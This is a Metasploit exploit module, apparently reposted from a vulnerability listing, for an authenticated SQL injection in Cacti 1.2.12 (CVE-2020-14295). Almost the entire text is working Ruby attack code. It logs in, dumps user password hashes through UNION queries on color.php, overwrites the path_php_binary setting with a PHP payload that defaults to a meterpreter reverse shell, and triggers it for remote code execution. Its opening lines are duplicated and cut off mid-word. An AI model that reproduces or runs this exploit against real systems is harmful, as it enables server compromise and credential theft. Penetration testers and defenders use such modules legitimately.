Vulnerabilities

Cacti 1.2.12 SQL Injection Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/ha ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/hashes/identify'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cacti color filter authenticated SQLi to RCE',
'Description' => %q{
This module exploits a SQL injection vulnerability in Cacti 1.2.12 and before. An admin can exploit the filter
variable within color.php to pull arbitrary values as well as conduct stacked queries. With stacked queries, the
path_php_binary value is changed within the settings table to a payload, and an update is called to execute the payload.
After calling the payload, the value is reset.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Leonardo Paiva', # edb, RCE
'Mayfly277' # original github, M4yFly on twitter SQLi
],
'References' =>
[
[ 'EDB', '49810' ],
[ 'URL', 'https://github.com/Cacti/cacti/issues/3622' ],
[ 'CVE', '2020-14295' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },
'Payload' =>
{
'BadChars' => "x22x27" # " '
},
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'Side Effects' => [ CONFIG_CHANGES, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2020-06-17',
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', 'admin']),
OptString.new('TARGETURI', [ true, 'The URI of Cacti', '/cacti/']),
OptBool.new('CREDS', [ false, 'Dump cacti creds', true])
]
)
end

def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)
return CheckCode::Safe("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

# cacti gives us the version in a JS variable
/var cactiVersion='(?<version>d{1,2}.d{1,2}.d{1,2})'/ =~ res.body

if version && Rex::Version.new(version) <= Rex::Version.new('1.2.12')
vprint_good("Version Detected: #{version}")
return CheckCode::Appears
end
rescue ::Rex::ConnectionError
CheckCode::Safe("#{peer} - Could not connect to the web service") # unknown maybe?
end
CheckCode::Safe("Cacti #{version} is not a vulnerable version.")
end

def exploit
login

# optionally grab the un/pass fields for all users. While we're already admin, cred stuffing...
if datastore['CREDS']
# https://user-images.githubusercontent.com/23179648/84865521-a213eb80-b078-11ea-985f-f994d3409c72.png
print_status('Dumping creds')
res = inject("')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;")
return unless res
return if res.nil?
return if res.body.nil?

res.body.split.each do |cred|
/"(?<username>[^"]+)","(?<hash>[^"]+)"/ =~ cred
next unless hash
next if hash == 'hex' # header row

print_good("Username: #{username}, Password Hash: #{hash}")
report_cred(
username: username,
password: hash,
private_type: :nonreplayable_hash
)
end
end

print_status('Backing-up path_php_binary value')
res = inject("')+UNION+SELECT+1,value,3,4,5,6,7+from+settings+where+name='path_php_binary';")

# return value:
# "name","hex"
# "","FEFCFF"
# "/usr/bin/php","3"
if res && !res.body.nil?
php_binary = res.body.split.last # check to make sure we have something first before proceeding
fail_with(Failure::NotFound, "#{peer} - Unable to retrieve path_php_binary from server") if php_binary.nil?
php_binary = php_binary.split(',')[0].gsub('"', '') # take last entry on page, and split to value
end
fail_with(Failure::NotFound, "#{peer} - Unable to retrieve path_php_binary from server") unless php_binary
print_good("path_php_binary: #{php_binary}")

print_status('Uploading payload')
begin
pload = "#{php_binary} -r '#{payload.encoded}' #"
pload = Rex::Text.uri_encode(pload.gsub("'", "\\'"))
inject("')+UNION+SELECT+1,2,3,4,5,6,7;update+settings+set+value='#{pload}'+where+name='path_php_binary';")
print_good('Executing Payload')
trigger
ensure
resetsqli(php_binary)
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end

def login
cookie_jar.clear

print_status('Grabbing CSRF')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

/name='__csrf_magic' value="(?<csrf>[^"]+)"/ =~ res.body
fail_with(Failure::NotFound, 'Unable to find CSRF token') unless csrf

print_good("CSRF: #{csrf}")

print_status('Attempting login')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'login_username' => datastore['USERNAME'],
'login_password' => datastore['PASSWORD'],
'action' => 'login',
'__csrf_magic' => csrf
}
)

if res && res.code != 302
fail_with(Failure::NoAccess, "#{peer} - Invalid credentials (response code: #{res.code})")
end

res
end

def inject(content)
res = send_request_cgi(
'uri' => "#{normalize_uri(target_uri.path, 'color.php')}?action=export&header=false&filter=1#{content}--+-",
'keep_cookies' => true
)

if res && res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Injection Failed (response code: #{res.code})")
end
res
end

def trigger
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'host.php'),
'keep_cookies' => true,
'vars_get' => {
'action' => 'reindex'
}
)
end

def resetsqli(php_binary)
print_status('Cleaning up environment')
login # any subsequent requests with our cookie will fail, so we'll need to login a 2nd time to reset the database value correctly
print_status('Resetting DB Value')
inject("')+UNION+SELECT+1,2,3,4,5,6,7;update+settings+set+value='#{php_binary}'+where+name='path_php_binary';")
end

def report_cred(opts)
service_data = {
address: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:username],
private_data: opts[:password],
private_type: opts[:private_type],
jtr_format: identify_hash(opts[:password])
}.merge(service_data)

login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: ''
}.merge(service_data)
create_credential_login(login_data)
end

end

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